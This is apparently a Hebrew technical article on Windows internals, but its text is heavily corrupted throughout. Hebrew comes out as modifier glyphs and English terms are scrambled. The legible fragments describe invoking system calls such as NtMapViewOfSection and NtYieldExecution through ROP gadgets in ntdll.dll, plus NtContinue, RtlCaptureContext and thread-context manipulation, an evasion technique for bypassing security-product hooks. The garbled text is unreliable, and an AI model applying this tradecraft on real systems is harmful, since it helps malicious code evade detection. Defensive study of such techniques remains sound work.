˟ ˢ˧˴˵ˮˣ˲ ˸˴˶ˢ ˸˰˟ˬ ˶˧˷˧ ˭˲ˣ˞-¦ǎŜǊ aƻŘŜ    (˟ˣ˶˪) ˢ˲ˣ˯˟ ˶˷˞ ˸ˬ˧ˣ˯ˬ ˢˮ˧˦ˣ˶ ˫˧˰˴˟ˬ ˣˮ˥ˮ˞

 ˸˞˧˶˵ ˧"˰ ˪ˮ˶˵˪ ˶ˣ˟˰˸ ˢˡˣ˟˰ˢǎȅǎŎŀƭƭ  .ˢˡˣ˟˰ˢ ˶˵˧˰ ˸˰˴˟˸ˬ ˫˷ , 

  ,ˢ˪˧ˠ˶ˢ ˨˶ˡˢˬ ˢˮˣ˷˟ .˸˶˥˞ ˢˤ ˸˞ ˢ˷˰ˮ ˣˮ˥ˮ˞ ˪˟˞ ,ˢ˧˴˵ˮˣ˲ ˸˴˶ˢ˪ ˸˧ˮ˵˸ˢˣ ˢ˪˧ˠ˶ˢ ˨˶ˡˢ ˣˤ

  ˸˪˟˵ˬ˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˶˧˟˰ˮ ˣˮ˥ˮ˞ ˟  ˷ˣˬ˧˷ ˧"˰ ˢ˧˴˵ˮˣ˲ˢ ˸ˮ˧˦ˣ˶ ˸˞ ˟˧˩˶ˮˣ ˢ˧˴˵ˮˣ˲ˢ-wht  

DŀŘƎŜǘǎ ˪ ˢ˶˧˷˧ ˢ˞˧˶˵ ˰˴˟ˮ ˱ˣ˯˟˪ˣ-ǎȅǎŎŀƭƭ  . 

  ˸˞ ˳˧˶ˢ˪ ˣˮ˪ ˶˷˲˞˸ ˣˤ ˢ˦˧˷bǘaŀǇ±ƛŜǿhŦ{ŜŎǘƛƻƴ    ˸˧˧˶˲˯ ˨˶ˡ ˞˪) ˢ˲˧˵˰ ˢ˶ˣ˴˟ƴǘŘƭƭ.Řƭƭ  ˨˩˟ˣ (

˪˧˥˸ ˪˩˸˯ˮ ˣ˞ˣ˟ ˸˞ˤ ˢ˷˰ˮ ˨˧˞ ˭˧˟ˢ˪ ˪˧˟˷˟ .ˢˮˠˢˢ ˸ˣ˩˶˰ˬ ˪˷ ˫˧˵ˣˢˢˬ ˵ˬ˥˸ˢ˪  ˸˶ˡˠˢ ˪˰ ˢ

 ˸˧˧˴˵ˮˣ˲bǘaŀǇ±ƛŜǿhŦ{ŜŎǘƛƻƴ : 

 

 ˢˮ˧˦ˣ˶ˢ ,ˢˮˣˬ˸˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ ˶ˠˣ˞ ˭˩ˣ˸ ˸˞ ˢ˶˧˟˰ˬ ˣˤ ˢ˧˴˵ˮˣ˲˟rcx  ˶ˠˣ˞˪r10   ˨˶˰ˢ ˸˞ˣhну  -˪

raxˢ ˰ˣ˴˧˟ ˭˲ˣ˞˪ ˢ˶ˣ˷˵ˢ ˢ˵˧ˡ˟ ˷˥˶˸˸ ˭˩ˬ ˶˥˞˪ .-SystemCall  ˢ˴˶ˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ) ˩-VM   ˟-

HyperV ˢ ˸˞˧˶˵ ˰˴ˣ˟˸ ˭˧˵˸ ˪˩ˢˣ ˢˡ˧ˬ˟ˣ (ˣˮ˧˪˞ ˧˦ˮˣˣ˪˶ ˞˪ .˸˶˥˞ ˸ˠˢˮ˸ˬ-syscall  ˢˬ˴˰  . 
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  рн 
 

˟˰ˮ ˣˮ˥ˮ˞ ˨˷ˬˢ˟˧  ˪ˮ˶˵˪ ˶  ˸˞  ˫˷ s-Service  ) ˳ˣ˶˧˷  ˸˪˟˦ˬ{{5¢  ˢ˧ˢ˧ (-s{ŜǊǾƛŎŜ    ˶ˠˣ˞˟ ˧ˣ˴ˬˢǊŀȄ  ,

 ˶ˬˣ˪˩{ŜǊǾƛŎŜ нуƘ .  ˸˧˧˴˵ˮˣ˲ ˸˪˟˵ˬ˷ ˫˧˶˦ˬ˶˲ˢ ˪˰ ˣ˧˷˩˰ ˪˩˸˯ˮ ˣ˞ˣ˟bǘaŀǇ±ƛŜǿhŦ{ŜŎǘƛƻƴ : 

NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(  

    HANDLE SectionHandle,  

    HANDLE ProcessHandle,  

    PVOID*  BaseAddress,  

    ULONG_PTR ZeroBits,  

    SIZE_T  CommitSize,  

    PLARGE_INTEGER SectionOffset,  

    PSIZE_T  ViewSize,  

    SECTION_INHERIT InheritDisposition,  

    ULONG AllocationType,  

ULONG Protect  

) ;  

 ˸˧˧˴ˮ˟ˮˣ˵ ˲"˰Ȅсп    ˸˰˟˶˞˫˧˶˦ˬ˶˲ˢ    ˫˧˶ˠˣ˞ˢ ˨˶ˡ ˫˧˶˟ˣ˰ ˢ˧˴˵ˮˣ˲ˢ ˸˪˟˵ˬ˷ ˫˧ˮˣ˷˞˶ˢǊŎȄ ,ǊŘȄ  ,Ǌу  

-xǊф    ˢˤ ˢ˶˵ˬ˟ ˭˩˪ˣSectionHandle    ˶ˠˣ˞ ˨˶ˡ ˶ˣ˟˰˧ǊŎȄ  ,ProcessHandle    ˨˶ˡǊŘȄ  ,BaseAddress    ˨˶ˡ

r8  -xZeroBits   ˨˶ˡr9 ˢ˶ˣ˴˟ ˸˧ˮ˯˥ˬˢ ˨˶ˡ ˣ˶˟˰˧ ˫˧˶˦ˬ˶˲ˢ ˶˞˷ .ˢ˪˧ˠ˶ˢ  . 

  ˨˧˞ˣ ˢ˧˴˵ˮˣ˲ˢ ˸˰˴˟ˬ ˢˬ ˣˮ˟ˢ˷ ˧˶˥˞  ˢ˸ˣ˞ ˳˧˶ˮ ˨˧˞ ˟ˣ˷˥ˮ ˣ˞ˣ˟ ,ˢ˧˴˵ˮˣ˲˪ ˫˧˶˦ˬ˶˲ˢ ˫˧˶˟ˣ˰

˧"˰)  ˢ˧˴˵ˮˣ˲˪  ˫˧˦ˮˣˣ˪˶ˢ  ˫˧˶˦ˬ˶˲˟  ˫˧˶ˠˣ˞ˢ  ˸˞  ˭˧ˤˢ˪˟  ˪˧˥˸ˢ˪  ˫˧˪ˣ˩˧  ˣˮ˥ˮ˞  .ˣˮˬ˴˰˟gadget   

popregs  ˸˞ ˶ˣˬ˷˪ˣ ( ˶ ˞˷ ˟ ˫˧˶˦ˬ˶˲ˢ-ROP   .(˸˧ˮ˯˥ˬ˩ ˷ˬ˷˧) ˣˮ˪˷ 

ǇƻǇǊŜƎǎ : 

˟˷ ˟˪ ˣˬ˧˷-wht DŀŘƎŜǘ    ˸˞ ˫ˠ ˫˧ˮ˧ˤˬ ˣˮ˥ˮ˞ ˢˤˢǊмл  -xǊŀȄ    ˫˧˶ˠˣ˞ˢ ˫ˢ ˫˧˶˩ˣˤ ˥˦˟ ˫˸˞˷ ˧˲˩˷

˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,˸˞ˤ ˸ˣ˟˵˰˟ .ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˮ˧˦ˣ˶˟ ˫˧ˮ˩ˡ˰˸ˬ ˶˷˞-wht DŀŘƎŜǘ    ˫ˠ ˢˤˢ

  ˣˮ˥ˮ˞ ˨˩˟ .ˢˬ˴˰ ˢˮ˧˦ˣ˶ˢ ˸˞ ˰˴˟˪ ˫ˠˣ ˫˧ˬ˧˞˸ˬˢ ˫˧˶ˠˣ˞˟ ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˭˧ˤˢ˪ ˪˧˟˷˟

˷ ˫˧ˠ˶ˣˢ ˸  ˧  ˸˥˞ ˢ˩ˬ˟ ˫˧˶ˣ˲˧˴-    ˰˴˟˪ ˢˤ ˸ˣ˷˰˪ ˣˮ˪ ˶˸ˣˮ˷ ˢˬ ˪˩ ,˸˰˩ .ˢˤˬ ˶˸ˣ˧ ˷˵˟˪ ˣˮ˪ˣ˩˧ ˞˪

ˢ ˸˞-ǎȅǎŎŀƭƭ ˪  ˢ˞˧˶˵ˢ ˸˞˷ ˟ˣ˷˥ .-ǎȅǎŎŀƭƭ    ˢ˧˪˰ ˫˧˷ˣ˰ ˞˪˷ ˸ˣ˞ˡˣˣ˟ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˢ˧˴˵ˮˣ˲ˬ ˰˴˟ˮ

ˢ˷ ˰ˡˮ˷ ˧ˡ˩˟ ˵ˣˢ-ǎȅǎŎŀƭƭ   ˵ˣˢˢ ˧ˡ˧ ˪˰ ˯˶ˡˮ ˞˪ˣ ˫˧˧˵ ˭˩˞ x ˬ˴˰  . 

˸˞ˤ˩ ˢ˧˴˵ˮˣ˲ ˞˴ˬˮ ˨˧˞ Κ   ˞  ˸˧˧˶˲˯˟ ˸ˣ˧˴˵ˮˣ˲ ˭ˮ˷˧˷ ˶˟˸˯ˬ ˤƴǘŘƭƭ.Řƭƭ    ˸ˣ˪ˣ˰˲˪ ˷ˬ˷˪ ˸ˣ˪ˣ˩˧ ˞˪˷

  ˸˧˧˴˵ˮˣ˲ ˞˧ˢ ˣ˪˞ ˸ˣ˧˴˵ˮˣ˲ˬ ˸˥˞ .˵ˣˢ ˭ˢ˧˪˰ ˸ˣ˰˴˟ˬ ˞˪ ˢ˴˵ˢ ˸ˮˠˢ ˸ˣ˩˶˰ˬ ˫ˠ ˭˩˪ˣ ˸ˣ˧ˮˣˡˤ

NtYieldExecution    ˶˷˞˪˷ ˫˧˶˵ˬ ˢ˲˧˪˥ˬ Sleep(0) ˢ ˸˩˶˰ˬ˪ ˸ˮ˸ˣˮ ˫˴˰˟ˣˢ  ˫˞ ˦˧˪˥ˢ˪ ˢ˪˰˲
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ˢ ˸˞ ˳˧˶ˢ˪ ˨˧˷ˬˢ˪ Thread-˸ˣ˷˰˪ ˣ˞ context switch ˪Thread-  ˶˥˞.    ˷ˬ˸˷ˮ ˣˮ˥ˮ˞ ,˸˞ˤ ˸ˣ˟˵˰˟

ˢ ˸˞˧˶˵ ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰ ˣˤ ˢ˧˴˵ˮˣ˲˟-syscall  .ˣˮ˪˷ 

 ˸˧˧˴˵ˮˣ˲bǘ¸ƛŜƭŘ9ȄŜŎǳǘƛƻƴ : 

 

DŀŘƎŜǘ wht ˰˴˟˧˷  ˢ ˸˞-ǎȅǎŎŀƭƭ : 

 

˟ ˵˪˥ˢ-wht  ˶˷˞ ˣˮ˪˷˰˴˟˧  ˪  ˢ˞˧˶˵ˢ ˸˞-bǘaŀǇ±ƛŜǿhŦ{ŜŎǘƛƻƴ : 
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 ˧ ˰˧˟˶ˢ ˟˪˷ˢ 

  ˪˷ ˢ˴˧˶ ˪˰ ˫˧˦˪˸˷ˬ ˣˮ˥ˮ˞ ˶˷˞˩¢ƘǊŜŀŘ    ˶˧ˤ˥ˢ˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˫˧˟˧˧˥ ˣˮ˥ˮ˞ ˣˬ˷˟ ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬˣ

  ˸ˣ˪˰ˢ˪ ˨˶ˡˢ ˪˰ˣ ˯ˣ˶˵˪ ˣ˞ ˰˵˸˧ˢ˪ ˪ˣ˪˰ ˣ˪ˣ˩ ˨˧˪ˢ˸ˢ ˸˞ˤ ˢ˷˰ˮ ˞˪ ˫˞ .˸˧˶ˣ˵ˬˢ ˣ˸˴˧˶˪ ˣ˸ˣ˞

  ˶˧ˤ˥ˢ˪˟ ˢˮˣˣ˩ˢ .˸˩˶˰ˬ˟ ˢˡˣ˷˥ ˸ˣ˪˧˰˲˪ ˢ˴˵ˢ ˷ˬ˸˷ˬ ˪˴˞ ˸ˣˡ˷˥¢ƘǊŜŀŘ  ˢ ˸˧˶ˣ˵ˬˢ ˣ˸˴˧˶˪  ˞˧

ˢ ˸˶ˤ˥ˢ-/ƻƴǘŜȄǘ  ˢ ˪˰ ˣˮ˦˪˸˷ˢ ˶˷˞˩ ,ˣˮ˪˷ ˢ˶˵ˬ˟ .˧˶ˣ˵ˬˢ ˣ˟˴ˬ˪ (˫˧˶ˠˣ˞ˢ ˪˪˩) ˣ˪˷-¢ƘǊŜŀŘ  

  ˸˞ ˣˮ˧ˮ˧˷ǊǎǇ  -xǊƛǇ  ˢ ˸˞ ˳˧˶ˢ˪ ˸ˮˬ ˪˰ ˫˧˩˧˶˴ ˣˮ˧˧ˢ˷ ˫˧˩˶˰˪-wht   s  ˸˞ ˶˧ˤ˥ˢ˪ ˪˧˟˷˟ ,˭˩˪ .ˣˮ˪˷-

¢ƘǊŜŀŘ    ˢ˦ˣ˷˲ˢ ˨˶ˡˢ .˫˧˶ˠˣ˞ ˫˸ˣ˞ ˪˷ ˧˶ˣ˵ˬˢ ˫˩˶˰ ˸˞ ˶˧ˤ˥ˢ˪ ˨˶˦˴ˮ ˧˶ˣ˵ˬˢ ˣ˟˴ˬ˪  ˰ˣ˴˧˟˪ ˶˸ˣ˧˟

ˢ ˸˶˧ˬ˷ ˧"˰ ˞˧ˢ ˣˤ ˢ˪ˣ˰˲-/ƻƴǘŜȄǘ   s  ˪˷-¢ƘǊŜŀŘ  ˢ ˸˴˧˶ ˸˪˧˥˸ ˧ˮ˲˪-wht   ˪  ˢ˞˧˶˵ ˰˴˟˪ ˫ˣ˧˯˟ˣ-

bǘ/ƻƴǘƛƴǳŜ  ˪ ˰˧˟˴ˬˢ ˫˰-/ƻƴǘŜȄǘ    ˸˧˧˴˵ˮˣ˲ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟ .ˣˮ˶ˬ˷˷bǘ/ƻƴǘƛƴǳŜ : 

 

 :˸˪˟˵ˬ ˞˧ˢ˷ ˫˧˶˦ˬ˶˲ˢ ˪˰ˣ 

NTSYSAPI NTSTATUS NTAPI NtContinue(  

    PCONTEXT            ThreadContext,  

    BOOLEAN              RaiseAlert  

) ;  

˪˰ ˫˧˟˷ˣ˥ˣ ˢ˧˧˴˵ˮˣ˲ˢ ˪˰ ˫˧˪˩˸˯ˬ ˫˸˞ ˧˷˧˪˷ˢ ˟˪˷˪ ˨˷ˬˢ˟˷ ˢˣˣ˵ˬ ˧ˮ˞   wƛǘŜ ƻŦ tŀǎǎŀƎŜ  ,˭˩ ˫˞ .

 ˞˧ˢ ˢ˦˧˷ˢ˷ ˫˸ˮ˟ˢ ˤ˞ˢ˟˥˶  !ˢ˪ˣ˰ˬ .˸ˣ˟˶ ˸ˣ˧˴˵ˮˣ˲ ˸˴˶ˢ˪ ˢ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮˣ 

ˮ˷ ˧˲˩ ,ˣˮ˧ˮ˧˧ˮ˰˪ ˢ˶ˤ˥˟ ˪  ˰˧˟˴ˬ ˫ˢ ˢ˧˧˴˵ˮˣ˲ˢ ˪˷ ˫˧˶˦ˬ˶˲ˢ ˸ˣ˞˶˪ ˭˸˧-/ƻƴǘŜȄǘ  ˢ ˪˷-¢ƘǊŜŀŘ   x-  ˨˶˰

 s  ˟˴ˬ ˸˞ ˠ˴˧˧ˬˢ ˧ˮ˞˧˪ˣ˟-¢ƘǊŜŀŘ    ˸˞ ˶ˣˬ˷˪ ˪˩ˣˮ ˫˞ .(ˣˮ˶ˣ˟˰ ˧˦ˮˣˣ˪˶ ˸ˣ˥˲) ˢ˴˧˶˪ ˢ˶ˤ˥ˢ ˸˰˟

 ˪  ˰˧˟˴ˬˢ-Context   s  ˪˷ ˧˶ˣ˵ˬˢ-¢ƘǊŜŀŘ  ˪ ˣ˸ˣ˞ ˶˧˟˰ˢ˪ ˭˩ˬ ˶˥˞˪ˣ-bǘ/ƻƴǘƛƴǳŜ    ˥˧˪˴ˮ ˢ˷˰ˬ˪

ˢ ˸˞ ˶˧ˤ˥ˢ˪-¢ƘǊŜŀŘ   :˸ˣ˧˰˟ ˧˸˷ ˵˶ ˷˧ .˸˧˶ˣ˵ˬˢ ˣ˸˴˧˶˪ 

  ˢˮˣ˷˞˶ˢ˞˧ˢ  ˷ˢ ˸˴˧˶ ˸˞ ˫˧˶˴ˣ˰ ˣˮ˥ˮ˞ ˶˷˞˩-¢ƘǊŜŀŘ    ˫˰{ǳǎǇŜƴŘ¢ƘǊŜŀŘ  ˢ ˸˞ ˫˧˯˲ˣ˸ˣ-/ƻƴǘŜȄǘ  

  ˫˰ ˣ˪˷DŜǘ¢ƘǊŜŀŘ/ƻƴǘŜȄǘ    ˣˮ˥ˮ˞˞˪  ˢ ˫˞ ˸ˣ˞ˡˣˣ˟ ˫˧˰ˡˣ˧-¢ƘǊŜŀŘ  ˟ ˞˴ˬˮ-¦ǎŜǊ aƻŘŜ    ˫˞ .˪ˮ˶˵˟ ˣ˞

-s¢ƘǊŜŀŘ   ˟  ˞˴ˬˮ  ˫˰ ˣ˸ˣ˞ ˶ˣ˴˰˪ ˫˧˯ˮˬ ˣˮ˥ˮ˞ˣ ˪ˮ˶˵{ǳǎǇŜƴŘ¢ƘǊŜŀŘ    ˶ˣˤ˥˧˷ ˡ˰ ˣ˸˴˧˶ ˸˞ ˨˧˷ˬ˧ ˞ˣˢ
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-˪¦ǎŜǊ aƻŘŜ    ˪˷ ˢ˴˧˶ ˸˰˟ .˶˴˰˧˧ ˤ˞ ˵˶ˣ¢ƘǊŜŀŘ    ˶˷˞ ˫˧˲˧ˡˮ ˫˧˶ˠˣ˞ ˫˧˞˶˵ˮˢ ˫˧˶ˠˣ˞ ˫ˮ˷˧ ˪ˮ˶˵˟

 :˫ˢ ˣ˪˞ ˫˧˶ˠˣ˞ .˫˩˶˰ ˸˞ ˸ˣˮ˷˪ ˪ˣ˩˧ ˪ˮ˶˵ˢǊŀȄ  ,ǊŎȄ ,ǊŘȄ ,Ǌу ,Ǌф ,Ǌмл ,Ǌмм . 

  ˰˧˲˷ˬ ˢˤ ˨˧˞ x ˮ˧˪˰Κ  ˪ ˢ˞˧˶˵˟-DŜǘ¢ƘǊŜŀŘ/ƻƴǘŜȄǘ  ˢ ˸˞ ˪˟˵ˮ ˣˮ˥ˮ˞-/ƻƴǘŜȄǘ   s  ˪˷ ˭ˣ˶˥˞ˢ-¢ƘǊŜŀŘ  

) ˪ˮ˶˵˪ ˯ˮ˩ˮ˷ ˧ˮ˲˪/ƻƴǘŜȄǘ  ˢˣ ˢˡ˧ˬ˟ .(˟˧˴˧-¢ƘǊŜŀŘ    ˶˷˞˩ ˧˩ ˭˩˸˧ ˣ˸ˣ˞ ˣˮ˶˴˰ ˶˷˞˩ ˪ˮ˶˵˟ ˢ˧ˢ ˭˩˞

˪ ˶ˣˤ˥˧-¦ǎŜǊ aƻŘŜ    ˣ˧ˢ˧ ˫˧˲˧ˡˮˢ ˫˧˶ˠˣ˞ˢ˫˧ˮˣ˷   ˟  ˣˮ˪˟˧˵˷ ˢˬ ˶˷˞ˬ-DŜǘ¢ƘǊŜŀŘ/ƻƴǘŜȄǘ  ˥ˮ˞ ˭˩˪ˣ  ˣˮ

˫˧ˮˣ˩ˮ ˭˩˞ ˣ˪˞ ˫˧˶ˠˣ˞ ˧˩˶˰˷ ˸˰ˡ˪ ˪˩ˣˮ ˭˩ ˧˸ˬ .˫ˢ˧˪˰ ˨ˬ˸˯ˢ˪ ˫˧˪ˣ˩˧ ˞˪ Κ   s  ˸˴˧˶˪ ˶ˣˤ˥ˮ ˶˷˞˩ ˵˶-

¢ƘǊŜŀŘ    ˫˰ ˢ˴˧˶˪ ˶ˣˤ˥ˮ˷˩˷ ˭ˣˣ˧˩ˬwŜǎǳƳŜ¢ƘǊŜŀŘ   s-¢ƘǊŜŀŘ  ˟ ˥˶˩ˢ˟ ˢ˧ˢ˧-¦ǎŜǊ aƻŘŜ    ˶˥˞˪ˣ

  .˫˧˲˧ˡˮˢ ˫˧˶ˠˣ˞˪ ˪ˮ˶˵ˢ ˰˴˧˟˷ ˫˧˧ˣˮ˧˷ˢ 

 ˶ ˸˧˲ˢ ˪˰ ˟ˣ˷˥ˮ ˣ˞ˣ˟ ˢ˧˰˟ˢ ˸˞ ˣˮ˟ˢ˷ ˧˶˥˞˪ ˰˧˟˴ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˫ˣ˵ˬ˟ .˭ˣ-/ƻƴǘŜȄǘ   s  ˪˷ ˧˶ˣ˵ˬˢ-

¢ƘǊŜŀŘ  ˬ ˣˮ˪˟˧˵˷)-DŜǘ¢ƘǊŜŀŘ/ƻƴǘŜȄǘˢ ˸˞ ˵˧˸˰ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ (-/ƻƴǘŜȄǘ  ˢ ˸˞ ˶˧ˤ˥ˮ ˶˷˞˩-

¢ƘǊŜŀŘ   ˪  ˣ˧˪˞ ˰˧˟˴ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˭˩ˬ ˶˥˞˪ˣ ˨˧˪ˢ˸ˢ ˭ˣ˶˩˧ˤ˟ ˢ˴˵ˮ˷ ˶ˣˤ˞˪ ˢ˴˧˶˪-bǘ/ƻƴǘƛƴǳŜ  ˸˞ .

 s  ˸˵˸˰ˢ-/ƻƴǘŜȄǘ    ˸˶ˤ˰˟ ˰˴˟˪ ˪˩ˣˮ ˲˸˧˧˴˵ˮˣ  wǘƭ/ŀǇǘǳǊŜ/ƻƴǘŜȄǘˢ ˸˞ ˵˧˸˰ˮ˷ ˰ˠ˶˟ .-/ƻƴǘŜȄǘ    ˫˰

wǘƭ/ŀǇǘǳǊŜ/ƻƴǘŜȄǘ  ˢ ˫˞ ˫ˠ˷ ˸ˣ˞ˡˣˣ˟ ˸˰ˡ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞-¢ƘǊŜŀŘ  ˢ ˸˞ ˫˧˶ˬˣ˷ ˣˮ˥ˮ˞ ˪ˮ˶˵˟ ˶˴˰ˮ-

/ƻƴǘŜȄǘ   s  ˨ˣ˸ˬ ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮ ˣˮ˥ˮ˞˷ ˭ˣˣ˧˩ˬ ,˫˧˲˧ˡˮˢ ˫˧˶ˠˣ˞˟ ˣ˰˴ˣ˟˷ ˫˧˧ˣˮ˧˷ˢ ˶˥˞˪-wht    ˣˮ˪˷

ˢ ˸˞ ˶˟˩ ˣˮ˶ˤ˥ˢ ˶˷˞˩)-¢ƘǊŜŀŘ   ˸˶ˡˠˢ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟ ˸˰˩ .(ˢ˴˧˶˪wǘƭ/ŀǇǘǳǊŜ/ƻƴǘŜȄǘ : 

NTSYSAPI VOID RtlCaptureContext(  

    PCONTEXT ContextRecord  

) ;  

  ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩wǘƭ/ŀǇǘǳǊŜ/ƻƴǘŜȄǘ  ˢ ˸˞ ˵˧˸˰˸ ˞˧ˢ ˣ˧˪˞ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˞˪ ˰˧˟˴ˬ ˸˪˟˵ˬ-/ƻƴǘŜȄǘ    ˨˶ˡ

  ˶ˠˣ˞ǊŎȄ  ˮ˟ˮˣ˵)  ˸˧˧˴Ȅсп ˟  ˧˞ˬ˴˰ ˭˲ˣ˞˟ ˶ˣˬ˷˪ ˫˧˟˧˧˥ ˣˮ˥ˮ˞˷ ˶ˣ˩ˤˮ˷ ˟ˣ˷˥ .(-ǊŎȄ    ˶ˣˤ˞˪ ˰˧˟˴ˬˢ ˸˞

  ˶˷˞˩  .ˢ˧˴˵ˮˣ˲˪  ˢ˞˧˶˵ˢ  ˧ˮ˲˪  ˢˤˣˮ˥ˮ˞  ˟  ˶ˣˬ˷ˮ-ǊŎȄ    ,ˢ˧˴˵ˮˣ˲ˢ  ˸˞  ˳˧˶ˮˣ  ˰˧˟˴ˬˢ  ˸˞

RtlCaptureContext    ˶ˠˣ˞˟ ˢˤ ˨˶˰ ˸˞ ˶ˣˬ˷˸ ˭˩ ˫ˠǊŎȄ  ˢ ˪˷-/ƻƴǘŜȄǘ    ˨˶˰˷ ˭ˣˣ˧˩ˬ ˢ˧˰˟ ˣˤˣ ˵˧˸˰ˮ˷

ǊŎȄ  ˢ ˸˴˧˶ ˧ˮ˲˪ˬ ˧˶ˣ˵ˬˢ ˣ˩˶˰ ˣˬ˩ ˢ˧ˢ˧ ˞˪ ˶ˣˬ˷ˮ˷-wht  ˧ˡ˧ ˪˰ ˞˧ˢ ˣˤ ˢ˧˰˟ ˫˰ ˡˡˣˬ˸ˢ˪ ˨˶ˡˢ .

  ˸˶˧ˬ˷ǊŎȄ  ˪  ˢ˞˧˶˵ˢ  ˧ˮ˲˪)-RtlCaptureContext  ˷ˬ˸˷ˮ  ˢˤ  ˢ˶˵ˬ˟  ,˭ˣ˶˩˧ˤ˟  ˞˴ˬˮˢ  ˢˮ˸˷ˬ˟  (

 ˢˮ˸˷ˬ˟NlsOemToUnicodeData  ˸˧˧˶˲˯ˬntdll.dll  . 

-sGadget ROP  :ˢ˧ˢ˧ ˣˤ ˢ˪ˣ˰˲ ˸˞ ˰˴˟˧˷ 
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˪ ˞˶˵ˮ ˣˤ ˢ˪ˣ˰˲ ˰ˣ˴˧˟ ˶˥˞˪-RtlCaptureContext  ˢ ˸˞ ˵˧˸˰˸˷-Context  ˢ˧˴˵ˮˣ˲ˢ ˸˴˶ˢ ˫ˣ˧˯˟ˣ ,

ˢˣˢ ˸˵˸˰-/ƻƴǘŜȄǘ    ˸˞ ˢˮ˷ˮǊŎȄ  ˢ ˨ˣ˸˟)-/ƻƴǘŜȄǘ    ˢˮ˸˷ˬ˟ ˶ˣˬ˷ˢ ˧˸˪˥˸ˢˢ ˣ˩˶˰˪ (˵˸˰ˣˢ˷

NlsOemToUnicodeData  ˪˷  ˣ˩˶˰  ˸˞  ˣˮ˵˧˸˷  ˧˶˥˞  .ǊŎȄ     ˪˷  ˧˶ˣ˵ˬˢ  ˣ˩˶˰  ˸˞  ˶˧ˤ˥ˮ

NlsOemToUnicodeData  ˪˷ ˣ˩˶˰ ˣˤ ˢ˶ˣ˴˟ .ǊŎȄ  -˟/ƻƴǘŜȄǘ    ˶ˣ˟˰ ˵˸˰ˣˢ˷bǘ/ƻƴǘƛƴǳŜ    ˨˶˰ˢ ˞ˣˢ

ˢ ˸˪˧˥˸ ˧ˮ˲˪ˬ ˢ˧ˢ˷ ˧˲˩ ˧˶ˣ˵ˬˢ-wht    ˸˧˧˴˵ˮˣ˲˪ ˶˟˰ˣˢ˷ ˶˦ˬ˶˲ˢ ˪˷ ˣ˩˶˰ ˞˪ˣRtlCaptureContext  .

 s ˷ ˟˪ ˣˬ˧˷-wht DŀŘƎŜǘ ˬˣ˷ ˶˷˞ ˸˞ ˶ǊŎȄ  :˞˟ˢ ˡˣ˵ˢ ˰˦˵ ˸˞ ˫ˠ ˪˧˩ˬ 

add  rsp, 20h  

pop  r14  

 ˸˶˧ˬ˷˪ ˧˦ˮˣˣ˪˶ ˣˮ˧˞ ˢˤ ˵˪˥ǊŎȄ  ˫˧˟˧˧˥ ˢ˧ˢˮ ˨˞˯˥˧˧˸ˢ˪  ˟  ˣ˧˪˞-wht  .ˣˮ˪˷ 

˟ ˵˪˥ˢ-wht   ˸˞ ˶ˬˣ˷ˢǊŎȄ ˪ ˞˶ˣ˵ˣ-RtlCaptureContext : 

 

ǎŀǾŜƻƭŘwŎȄ : 
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  ˭ˣ˵˧˸ǊŎȄ  ˟-/ƻƴǘŜȄǘ  :˵˸˰ˣˢ˷ 

 

 ˸˶ˤ˥ˢbƭǎhŜƳ¢ƻ¦ƴƛŎƻŘŜ5ŀǘŀ   :˧˶ˣ˵ˬˢ ˣ˩˶˰˪ 

 

ˢ s  ˢ˧˰˟ s ˧ˮ˷  ˷ ˞˧ˢˢ ˸˶˧ˬ˷ ˸˰˟-/ƻƴǘŜȄǘ   ˟-wht    ˧"˰wǘƭ/ŀǇǘǳǊŜ/ƻƴǘŜȄǘ    ˫˧˶ˠˣ˞ˢǊǎǇ   x-ǊƛǇ    ˫ˮ˧˞

˪ ˣ˧ˢ˷ ˫˧˩˶˰ˢ ˸˞ ˫˧˪˧˩ˬ-¢ƘǊŜŀŘ    ˸˞ ˣ˴˧˶˧˷ ˸ˮˬ ˪˰ ˣˮ˟˸˩˷ ˣˮ˥ˮ˞˷ ˫˧˩˶˰ˢ ˸˞ ˞˪˞ ,ˣ˸˶˧˴˰ ˧ˮ˲˪

-swht   x ˤ ˢ˧˰˟ ˪˰ ˶˟ˠ˸ˮ ˡ˴˧˩ .ˣˮ˪˷Κ    ˪˷ ˫˧˩˶˰ˢ ˸˞ ˶ˣˬ˷ˮ ˣˮ˥ˮ˞ǊǎǇ  -xǊƛǇ   s  ˨ˣ˸˟-wht    ˶˥˞˪ˣ ˣˮ˪˷

ˢ ˸˵˸˰ˢ-/ƻƴǘŜȄǘ    ˧"˰wǘƭ/ŀǇǘǳǊŜ/ƻƴǘŜȄǘ    ˧˩˶˰ ˸˞ ˢˮ˷ˮǊǎǇ   x-ǊƛǇ  ˢ ˨ˣ˸˟) ˫ˢ˪˷ ˫˧˧˶ˣ˵ˬˢ ˫˧˩˶˰˪-

/ƻƴǘŜȄǘ  (˵˸˰ˣˢ˷ ˫ ˧˲˧ˡˮˢ ˫˧˶ˠˣ˞ˢˬ ˢˮˣ˷˟ .,  ǊǎǇ  -xǊƛǇ    ˞˪ ˣˮ˥ˮ˞ ˭˩˪ˣ ˪ˮ˶˵˟ ˸ˣˮ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˫ˮ˧˞

